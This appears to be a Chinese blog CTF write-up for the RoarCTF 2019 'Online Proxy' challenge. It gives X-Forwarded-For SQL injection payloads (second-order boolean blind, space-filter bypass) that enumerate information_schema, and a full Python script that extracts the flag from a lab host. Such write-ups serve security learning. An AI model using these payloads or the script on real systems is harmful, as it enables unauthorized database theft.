[RoarCTF 2019]Online Proxy

(5) 2024-07-30 12:23

Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说
[RoarCTF 2019]Online Proxy,希望能够帮助你!!!。

[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第1张
看他提示
输个分号进去
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第2张
换brupsuit做算了

[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第3张
这里的注释代码很重要,发现他存入了我们的ip
利用X-Forwarded-For篡改ip,(我的bp只能小写传入),可以发现
ip被保存并输出了

[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第4张
更改ip地址后,发现回显了last-ip
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第5张
既然他的last-ip和current-ip会更新,由此可以猜想他与数据库进行了交互,不然last-ip怎么来的。
由于他这里是先回显current-ip,所以可以猜测后端sql语句,插入和更新

猜测后端sql语句

INSERT INTO table_name (current-ip,last-ip ) VALUES ('$current-ip','$last-ip' ); 

但是由于这题有回显,因此,可以考虑二次注入
我自己采用的是布尔盲注

我是从下面这篇题解得知sql闭合语句的(我这个废物肯定是想不到的)
这篇跟我的方法不同,我暂时看不懂他的做法,感兴趣的可以去看下,我先用我自己构想的盲注来做
另外一种方法

先将盲注语句输入

0' or ascii(substr((select(database())),1,1))>100 or '0 

[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第6张
再随便输入一个值
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第7张
这时候我们的语句还没有执行,只是将我们输入的值 写出来而已,再send一次
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第8张
可以发现我们的sql语句返回了一个0,说明他第一个字符不是大于100
我们改成1试试
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第9张
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第10张
他返回的是1,所以根据这个布尔回显,来进行布尔盲注

这题有个坑,必须得group_concat()查询所有库名,当前的库名并不是flag的所在地我是真tm吐了
这题还过滤了空格
我之前翻到很多博客都是没考虑过滤空格的,可能是当时环境问题吧

查库名
payload

0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0 

所有库名如下
information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第11张
很熟悉吧,这就是flag的库名
接着查这个库的表名
payload

0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),1,1))>1 or '0 

表名为F4l9_t4b1e

查列名
payload

0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),1,1))>1 or '0 

列名为F4l9_C01uMn

查flag
payload

0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),1,1))>1 or '0 

[RoarCTF 2019]Online Proxy_https://bianchenghao6.com/blog__第12张
最后的exp如下

import requests url = "http://node3.buuoj.cn:25174/" #这个head头好像必须加cookie head ={ 
    "X-Forwarded-For":"", "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e" } # #查库名 # payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0" # #查表名 # payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0" # #查列名 # payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0" #查flag payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0" flag ="" for i in range(1,1000): low = 32 high =137 mid = (low+high)//2 while(low < high): print(i,mid) '''插入sql语句''' payload1 = payload.format(i,mid) head["X-Forwarded-For"] = payload1 print(head["X-Forwarded-For"]) r = requests.get(url,headers=head) '''重新发送两次请求''' head["X-Forwarded-For"]= "penson" r = requests.get(url,headers=head) r = requests.get(url,headers=head) if "Last Ip: 1 " in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break flag +=chr(mid) print(flag) print(flag) 

今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

上一篇

已是最后文章

下一篇

已是最新文章

发表回复